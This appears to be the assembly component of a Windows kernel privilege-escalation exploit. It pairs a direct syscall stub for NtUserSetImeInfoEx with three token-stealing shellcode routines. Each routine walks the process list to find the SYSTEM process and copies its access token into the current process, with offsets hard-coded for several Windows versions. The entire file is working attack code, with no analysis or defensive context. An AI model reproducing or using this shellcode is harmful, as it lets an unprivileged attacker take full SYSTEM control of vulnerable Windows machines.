
public  shellcode08
public	shellcode7
public	shellcode03
public	NtUserSetImeInfoEx
_TEXT	SEGMENT
NtUserSetImeInfoEx PROC
		mov r10,rcx;
		mov eax,4871;
		syscall;
		ret;
NtUserSetImeInfoEx ENDP

shellcode08 PROC
		mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
		mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process
		mov rcx, rax;// Copy current _EPROCESS structure
		mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
		mov rdi, 232;
	SearchSystemPID:
		mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
		sub rax, rdi;
		cmp [rax + 224], rdx;// Get nt!_EPROCESS.UniqueProcessId
		jne SearchSystemPID

		mov rdx, [rax + 360];// Get SYSTEM process nt!_EPROCESS.Token
		mov [rcx + 360], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
		xor rax, rax;// Set NTSTATUS SUCCEESS
		ret;
shellcode08 ENDP

shellcode7 PROC
		mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
		mov rax, [rax + 112];// Get nt!_KTHREAD.ApcState.Process
		mov rcx, rax;// Copy current _EPROCESS structure
		mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
		mov rdi, 392;
	SearchSystemPID:
		mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
		sub rax, rdi;
		cmp [rax + 384], rdx;// Get nt!_EPROCESS.UniqueProcessId
		jne SearchSystemPID

		mov rdx, [rax + 520];// Get SYSTEM process nt!_EPROCESS.Token
		mov [rcx + 520], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
		xor rax, rax;// Set NTSTATUS SUCCEESS
		ret;
shellcode7 ENDP

shellcode03 PROC
		mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread
		mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process
		mov rcx, rax;// Copy current _EPROCESS structure
		mov rdx, 4;// SYSTEM Process PID = 0x4
		mov rdi, 224;// Get nt!_EPROCESS.ActiveProcessLinks.Flink
	SearchSystemPID:
		mov rax, [rax + rdi];
		sub rax, rdi;
		cmp [rax + 216], rdx;// Get nt!_EPROCESS.UniqueProcessId
		jne SearchSystemPID

		mov rdx, [rax + 352];// Get SYSTEM process nt!_EPROCESS.Token
		mov [rcx + 352], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
		xor rax, rax;// Set NTSTATUS SUCCEESS
		ret;
shellcode03 ENDP

_TEXT	ENDS

END